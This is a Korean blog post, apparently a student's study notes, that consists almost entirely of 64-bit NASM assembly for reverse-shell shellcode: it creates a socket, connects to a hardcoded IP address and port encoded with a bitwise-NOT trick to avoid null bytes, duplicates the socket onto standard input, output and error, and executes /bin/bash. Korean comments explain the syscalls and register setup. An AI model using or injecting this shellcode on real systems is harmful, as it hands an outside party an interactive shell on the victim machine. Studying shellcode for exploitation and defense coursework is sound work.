본문 바로가기

학부_대학원/대학원_학과공부정리

64bit reverse shellcode

SMALL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
bits 64
 
;#define __NR_execve 59
;#define __NR_connect 42
;#define __NR_socket 41
 
; rax systemcall number
; rdi 1
; rsi 2
; rdx 3
; r10 4
; r8  5
; r9  6
; rax return value
 
 
global main
section .text
main:
 
 
;sock = socket(AF_INET, SOCK_STREAM, 0)"
cdq             ; 3번째 인자 rdx 0
push byte 1        ; 2번째 인자 rsi 1
pop rsi            ; --
push byte 2        ; 1번째 인자 rdi 2
pop rdi            ; --
push byte 41        ; syscall setting
pop rax            ; --
syscall            ; call socket
xchg r8, rax        ; socket descriptor save into r8
 
 
 
 
 
;struct socketaddr_in
;sin_family_t word     메모리 구성 --> stack 구성 생각
;sin_port     word
;sin_addr     dword
;sin_zero     long long
;2 + 2 + 4 +8 == 16 바이트
;64bit여서 8byte 씩 push 됨
 
 
; ip(4byte) + port(2byte) + sin_family(2byte) 순서로
; 2byte 처리할 때 null 값을 처리하기 inverse 시킨후 다시 inverse 시켜줌
mov     rax, ~0xdd47cbaf901f0002    ; ~(ip + port + family value)
not     rax                ; ip + port + family value
push     rax                ; 스택에 저장
push    rsp                ; 구조체가 저장된 포인터 값 저장
pop    rsi                ; coonect 함수의 2번째 인자
 
 
;connect(sock, (struct sockaddr*)&server, len);
mov    rdi, r8                ; connect 함수의 첫번째 인자 설정
push    byte 16                ; connect 함수의 세번째 인자 설정
pop    rdx                ; --
push     byte 42                ; syscall connect setting
pop     rax                ; --
syscall
 
; dup(sock,0). dup(sock,1), dup(sock,2)
; 위에서 첫번째 인자로 소켓이설정되어 있음
cdq                     ; rdx = 0
mov    rsi, rdx            ; rsi = 0, 두번째 인자 0
loop1:
cmp    rsi, 3                ; 0,1,2 repeat
je    loop2
push    byte 33                ; syscall dup2 setting
pop    rax                ; --
syscall                    ; call
inc    rsi                ; 0,1,2 repeat
jmp    loop1
loop2:
 
;execve("/bin/bash",["/bin/bash",\0],\0)
;/bin/bash
; rdx는 세번째 인자
 
push rdx                ; null pointer
mov r8, 0x687361622f6e6962         ; bin/bash
push r8
mov r8,0x2f90909090909090         ; /
push r8
lea rdi, [rsp+7]    ; 첫번째 인자    ; /bin/bash pointer setting
push rdx    ;null
push rdi    ; /bin/sh pointer
mov rsi, rsp    ; args double pointer 2번째 인자
push byte 59
pop rax
syscall
cs




LIST